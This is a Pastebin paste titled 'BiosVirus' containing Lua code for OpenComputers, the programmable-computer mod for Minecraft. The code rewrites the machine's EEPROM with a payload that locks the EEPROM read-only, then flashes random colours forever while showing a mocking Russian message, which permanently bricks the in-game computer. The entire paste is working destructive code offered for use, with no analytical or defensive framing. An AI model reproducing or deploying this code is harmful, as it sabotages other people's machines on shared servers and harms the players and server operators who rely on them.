Ewgeniy

BiosVirus

Nov 24th, 2021 (edited)
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.76 KB | None | 0 0
  1. local EPRCode = [[
  2.  
  3.  
  4. local textLines = {
  5.   "Ага-а! ",
  6. "Если Вы хотели включить данный пк, то Вы пытались либо проверить тпс сервера, ",
  7. "либо зарикролить меня, с первым обратитесь ко мне, а о втором даже не думайте. :3"
  8. }
  9.  
  10. local component_invoke = component.invoke
  11. function boot_invoke(address, method, ...)
  12.   local result = table.pack(pcall(component_invoke, address, method, ...))
  13.   if not result[1] then
  14.     return nil, result[2]
  15.   else
  16.     return table.unpack(result, 2, result.n)
  17.   end
  18. end
  19. ---------------------------------------------------------------
  20. local eeprom = component.proxy(component.list("eeprom")())
  21. eeprom.makeReadonly(eeprom.getChecksum())
  22. computer.getBootAddress = function()
  23.   return boot_invoke(eeprom, "getData")
  24. end
  25. computer.setBootAddress = function(address)
  26.   return boot_invoke(eeprom, "setData", address)
  27. end
  28.  
  29. do
  30.   _G.screen = component.list("screen")()
  31.   _G.gpu = component.list("gpu")()
  32.   if gpu and screen then
  33.     boot_invoke(gpu, "bind", screen)
  34.   end
  35. end
  36. ---------------------------------------------------------------
  37.  
  38. local function centerText(mode,coord,text)
  39.   local dlina = unicode.len(text)
  40.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  41.  
  42.   if mode == "x" then
  43.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  44.   elseif mode == "y" then
  45.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  46.   else
  47.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  48.   end
  49. end
  50.  
  51. local function sleep(timeout)
  52. local deadline =
  53. computer.uptime() + (timeout or 0)
  54. while computer.uptime() <
  55. deadline do
  56. computer.pullSignal(deadline - computer.uptime())
  57. end
  58. end
  59.  
  60. local function virus()
  61. while true do
  62. sleep(0.2)
  63.   local background, foreground = math.random("0x378805"), math.random("0xCCCCCC")
  64.  
  65.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  66.   boot_invoke(gpu, "setBackground", background)
  67.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  68.  
  69.   boot_invoke(gpu, "setBackground", foreground)
  70.   boot_invoke(gpu, "setForeground", background)
  71.  
  72.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  73.   centerText("x", y, " Упс... :-( ")
  74.   y = y + 2
  75.  
  76.   boot_invoke(gpu, "setBackground", background)
  77.   boot_invoke(gpu, "setForeground", foreground)
  78.  
  79.   for i = 1, #textLines do
  80.     centerText("x", y, textLines[i])
  81.     y = y + 1
  82.   end
  83. end
  84.  
  85.  
  86.  while true do
  87.     computer.pullSignal()
  88.   end
  89. end
  90.  
  91. computer.beep(1000,0.1)
  92.  
  93.  
  94. if gpu then virus() end
  95.  
  96. ]]
  97.  
  98. local component = require("component")
  99. local function flashEPR()
  100.     local eeprom = component.getPrimary("eeprom")
  101. eeprom.set(EPRCode)
  102.     end
  103.  
  104. flashEPR()
Add Comment
Please, Sign In to add comment